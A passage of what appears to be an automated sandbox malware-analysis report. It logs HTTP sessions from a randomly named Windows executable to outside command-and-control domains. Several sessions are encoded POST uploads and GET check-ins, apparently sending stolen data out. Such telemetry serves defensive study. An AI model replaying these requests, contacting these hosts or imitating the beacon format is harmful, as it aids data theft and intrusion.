Sep 11, 2024 11:17:55.140651941 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:17:55 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	63322	172.96.187.60	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:57.228420019 CEST	780	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 4b 52 34 68 30 39 4b 68 78 54 53 51 4e 42 61 76 70 56 34 44 53 57 70 6c 64 4d 4c 4f 6f 2f 32 31 68 75 67 42 62 78 58 57 30 56 36 64 79 44 51 5a 35 47 2b 44 4e 6e 6c 59 7a 59 37 37 2b 42 50 42 33 79 2b 54 73 4d 6c 32 52 74 51 32 77 73 49 6a 6f 41 38 56 34 69 51 4c 43 69 57 68 73 51 2b 6d 5a 52 51 4f 53 35 33 39 34 6e 55 4b 6b 42 67 7a 42 41 78 42 46 72 55 56 38 32 6d 42 4c 6a 54 55 43 57 56 37 52 50 39 56 6a 74 57 63 51 4f 78 54 73 57 2b 47 48 4e 74 4b 71 57 52 72 52 57 58 4b 49 4a 4b 71 62 75 41 55 52 62 56 6c 59 3d Data Ascii: pP_8=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YKR4h09KhxTSQNBavpV4DSWpldMLOo/21hugBbxXW0V6dyDQZ5G+DNnlYzY77+BPB3y+TsMl2RtQ2wsIjoA8V4iQLCiWhsQ+mZRQOS5394nUKkBgzBAxBFrUV82mBLjTUCWV7RP9VjtWcQOxTsW+GHNtKqWRrRWXKIJKqbuAURbVlY=
Sep 11, 2024 11:17:57.660542965 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:17:57 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	63323	172.96.187.60	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:59.768162012 CEST	10862	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 79 52 34 33 6f 39 46 67 78 54 54 51 4e 42 55 50 70 46 34 44 53 62 70 6c 46 49 4c 4f 6b 4a 32 77 39 75 78 58 6e 78 65 43 6f 56 7a 64 79 44 4d 70 34 42 77 6a 4e 2b 6c 59 6a 63 37 2f 61 42 50 42 33 79 2b 52 30 4d 73 44 6c 74 44 6d 77 76 4c 6a 6f 4d 71 56 35 4e 51 4c 71 55 57 68 67 41 35 56 68 52 65 4f 43 35 31 50 51 6e 63 4b 6b 44 6a 7a 41 47 78 42 49 31 55 52 63 51 6d 42 2b 45 54 57 65 57 56 36 52 57 6b 68 54 6c 4a 39 51 64 73 67 34 71 36 68 6a 68 71 4a 2b 50 64 71 56 78 44 65 34 5a 46 4c 6d 68 48 32 35 77 4d 77 69 6b 72 4f 2b 45 62 46 33 53 73 49 53 77 68 78 50 77 69 58 73 4f 74 49 55 62 37 4e 39 2f 4b 4f 34 34 42 4d 54 65 44 4f 72 4e 6c 4b 4c 37 62 43 2b 56 6e 36 33 56 73 6c 54 6c 68 6a 36 35 66 41 59 35 6b 33 56 6d 6d 4b 47 67 70 36 6e 57 36 55 59 69 52 72 72 72 34 48 65 53 58 55 55 55 55 78 66 78 35 45 7a 52 57 7a 51 49 47 30 2b 56 47 6a 62 35 48 36 54 64 53 [TRUNCATED] Data Ascii: pP_8=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YyR43o9FgxTTQNBUPpF4DSbplFILOkJ2w9uxXnxeCoVzdyDMp4BwjN+lYjc7/aBPB3y+R0MsDltDmwvLjoMqV5NQLqUWhgA5VhReOC51PQncKkDjzAGxBI1URcQmB+ETWeWV6RWkhTlJ9Qdsg4q6hjhqJ+PdqVxDe4ZFLmhH25wMwikrO+EbF3SsISwhxPwiXsOtIUb7N9/KO44BMTeDOrNlKL7bC+Vn63VslTlhj65fAY5k3VmmKGgp6nW6UYiRrrr4HeSXUUUUxfx5EzRWzQIG0+VGjb5H6TdSam2oNWQjGm8uO3He1slqVsZQ9Hp1lPL2YQYslIGLJ6s6PGwfQ9/pDxhAjbPJ5Ux9kn4zF9/lV+R9H62aVUGaM6R4Vo6pnPxZ5Iwr4GidIs4N5cIgwt/TKNgLhNthVL+Dwk07TBYjBA/IUuWtOF5+lIBzp4p/DmBQe5k8PQ6k1hXnybwW2ry5FPX0/oqqiaRYdwM9aPnp9/MIyOztGxf1FrTCTU1kGqIo/OW9IUCoe2OxDYYbSfz171zPzr0PL9p3bnzk4m38qR6Jch+VryCIFbtSXBEMk7IDJ3AxgZJyLnqVZcy3NbgwrQoKgcpFZWjPqtSLciKhSQq/OW/S3fusSw/1dKlux20a1bMxnPz4+OAh6JpX6JwtsxN8ZBJZ0UVloa7B0I3EFflzN6TeUdtoTKwlpboBJ8JNGfWbg8UcyG2dM4LYN1iyiDH7nLiibUaykwRFqWhPkPBYmG+OlhU85BOu8sLXeZ+AbwshXt4zqcITPZXqFuBtSp0aZDjKuiq9nC3B9NLbv98F0TLKftQb20JaLdiqMdse5Tj31rjbJkmuA9ifbQzagU9Oxj0L3QRZmOAAQCx2FsKX777FCqbfnxEAjalFR5g5HL/S3Q9TmIkBekTJxBOldcBGX+rgSjA+rS2ohDGcmdReX10iF/7mvz9RXJEGbRLXxC [TRUNCATED]
Sep 11, 2024 11:18:00.220200062 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:18:00 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	63324	172.96.187.60	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:02.308949947 CEST	498	OUT	GET /v2c3/?V0Qh=4pBta8&pP_8=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dalong.site Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:18:02.762028933 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 11 Sep 2024 09:18:02 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	63325	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:07.814496994 CEST	787	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 56 35 70 35 44 62 36 4d 32 32 39 48 4c 39 57 37 52 53 66 2b 41 66 69 74 38 66 51 73 6e 72 7a 77 56 33 64 4c 32 30 74 42 49 6f 4a 6b 34 6b 38 6d 75 73 4b 53 56 39 6f 79 74 78 6f 53 4e 62 53 53 6d 71 7a 73 6e 47 71 34 76 6d 46 36 52 33 41 38 30 49 2b 77 57 58 55 67 78 64 49 6f 51 4a 36 57 56 56 6c 34 61 30 77 35 42 68 49 66 6f 54 34 7a 4f 46 4e 71 36 66 63 2b 42 4f 54 74 76 63 76 77 39 4c 47 4c 2b 55 45 58 49 33 66 59 6d 79 62 42 54 65 59 45 38 35 6e 51 50 67 4e 6e 74 38 30 42 64 48 53 74 63 65 56 65 79 54 42 52 31 78 65 44 57 51 59 6f 35 41 3d 3d Data Ascii: pP_8=TKQUtJlMp/1FV5p5Db6M229HL9W7RSf+Afit8fQsnrzwV3dL20tBIoJk4k8musKSV9oytxoSNbSSmqzsnGq4vmF6R3A80I+wWXUgxdIoQJ6WVVl4a0w5BhIfoT4zOFNq6fc+BOTtvcvw9LGL+UEXI3fYmybBTeYE85nQPgNnt80BdHStceVeyTBR1xeDWQYo5A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	63326	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:10.359231949 CEST	807	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 66 66 77 55 56 46 4c 33 77 35 42 4a 6f 4a 6b 74 55 38 6e 7a 63 4b 6e 56 39 6b 4d 74 30 51 53 4e 59 75 53 6d 72 44 73 6e 56 43 37 67 57 46 6b 65 58 41 36 35 6f 2b 77 57 58 55 67 78 64 64 67 51 4a 43 57 56 6c 56 34 4c 6c 77 2b 61 42 49 63 2f 6a 34 7a 4b 46 4e 78 36 66 63 59 42 50 50 48 76 65 6e 77 39 4c 57 4c 2b 41 59 55 47 33 66 53 72 53 61 44 62 4e 6c 6a 38 71 65 52 46 43 59 42 77 39 67 4d 52 68 44 33 4e 76 30 4a 67 54 6c 69 6f 32 58 33 62 54 6c 68 69 4e 77 53 6a 58 31 72 75 6d 39 32 63 53 59 53 49 2f 57 66 75 4a 30 3d Data Ascii: pP_8=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3kffwUVFL3w5BJoJktU8nzcKnV9kMt0QSNYuSmrDsnVC7gWFkeXA65o+wWXUgxddgQJCWVlV4Llw+aBIc/j4zKFNx6fcYBPPHvenw9LWL+AYUG3fSrSaDbNlj8qeRFCYBw9gMRhD3Nv0JgTlio2X3bTlhiNwSjX1rum92cSYSI/WfuJ0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	63327	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:12.906126022 CEST	10889	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 65 4c 77 56 67 5a 4c 32 58 46 42 62 59 4a 6b 73 55 38 36 7a 63 4b 36 56 39 73 41 74 30 4d 73 4e 64 71 53 6e 49 62 73 32 30 43 37 37 6d 46 6b 63 58 41 2f 30 49 2b 6c 57 58 6b 6b 78 64 4e 67 51 4a 43 57 56 6e 4e 34 62 45 77 2b 64 78 49 66 6f 54 34 42 4f 46 4d 2f 36 66 46 6a 42 50 62 39 76 50 48 77 38 76 4b 4c 38 7a 77 55 4b 33 66 63 34 69 61 68 62 4e 70 38 38 71 43 6e 46 48 6c 6b 77 39 55 4d 52 6e 4f 36 5a 50 67 70 30 41 35 51 36 33 7a 54 44 7a 74 74 75 76 38 58 74 33 5a 4f 35 31 46 35 54 6a 78 4f 4d 36 57 62 34 4f 73 46 58 71 76 5a 51 36 5a 78 31 61 54 2b 79 38 4e 33 46 74 4a 46 71 68 53 55 6c 67 79 51 69 44 4b 75 56 61 69 6e 63 70 42 34 55 45 74 44 4c 68 50 78 44 2b 49 68 46 6f 30 69 7a 76 6c 43 4c 37 52 61 64 41 42 37 49 4c 35 4a 47 46 57 49 37 64 58 4a 6a 6f 63 30 38 63 62 57 44 4c 54 41 41 76 71 34 69 6b 69 58 74 75 4c 42 54 43 32 4b 65 64 55 6d 52 69 63 57 74 [TRUNCATED] Data Ascii: pP_8=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3keLwVgZL2XFBbYJksU86zcK6V9sAt0MsNdqSnIbs20C77mFkcXA/0I+lWXkkxdNgQJCWVnN4bEw+dxIfoT4BOFM/6fFjBPb9vPHw8vKL8zwUK3fc4iahbNp88qCnFHlkw9UMRnO6ZPgp0A5Q63zTDzttuv8Xt3ZO51F5TjxOM6Wb4OsFXqvZQ6Zx1aT+y8N3FtJFqhSUlgyQiDKuVaincpB4UEtDLhPxD+IhFo0izvlCL7RadAB7IL5JGFWI7dXJjoc08cbWDLTAAvq4ikiXtuLBTC2KedUmRicWtFz8gbeidxyyOQQS4vyhMEhVdJQlc46YdKBSMc3ea3rxhHaZ70UYUDeYDagCy7Lf7nMaz0kpp+my+BsQygnAXSEXyievW/FwtkaVGmIfx1iET16UTMyhELTK5C4tv0OL+QjkEx4JqCj7N9qO00SKjPbAw0KhLkB5lOfPEv7Hmp1w/PLp+8/JLgEwKv2P8LG45zG2x1kI6e795ivoFKYHLUe6670ZjdUJwwf6SrTc4ElB2U4ICuG+oFLE0WLk5lcOo01/xFiZLqduXf+y88cCE/YVQMdCtY+2mVrJ1oGdEYwnG7+S0wpix3Zw99kU6tSVGNH3ubcYLQGaThLh/1QcNezdRSclH5z4IGYZ19gDF5ewZtqMcrBRlBWz9NVH3SXcmYxA/dM7GO0LNUTWbSPfSdU4frEIZJN1xmDfX73hwPXZfdi3yVhdMhqi9i7ACvjHlqYfNzmxvM+PhRh4pJsUKWMGtFbajBs+Zb0u+BJUoQWOYK4w5Us337UA3s62CQRDtDPWP6q7ULOiRh4wsDe3NYmp6/QarwJowHaWcGF+qPw0xUxMrA+5oraMJNeR3ochnkSCUjjagwSCWkt0yRs5RGzMzk0KU+0TkEZWJNiSsqtw21rx2ccEg3D3AiZ4UTFBsR1RZuF5Ou/gyqMem8ht6m8rvBwdsJXBzkE [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63328	3.33.130.190	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:15.461708069 CEST	507	OUT	GET /xamn/?pP_8=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mgeducacaopro.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:18:15.905046940 CEST	392	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 11 Sep 2024 09:18:15 GMT Content-Type: text/html Content-Length: 252 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 70 50 5f 38 3d 65 49 34 30 75 2b 6b 58 6c 36 64 43 4e 4f 78 75 46 4b 62 43 69 67 52 31 4e 38 36 6d 45 67 66 4b 58 50 6e 41 32 6f 52 56 68 35 37 63 62 31 46 4f 79 77 35 61 63 4b 74 31 75 53 56 6b 72 74 4f 47 65 50 55 43 6e 6c 55 51 49 4a 53 37 6b 5a 6a 61 68 53 57 52 36 52 31 61 64 46 6f 70 75 63 57 44 45 32 68 61 36 2f 73 31 50 50 58 44 59 69 70 36 63 46 49 64 44 48 59 3d 26 56 30 51 68 3d 34 70 42 74 61 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE 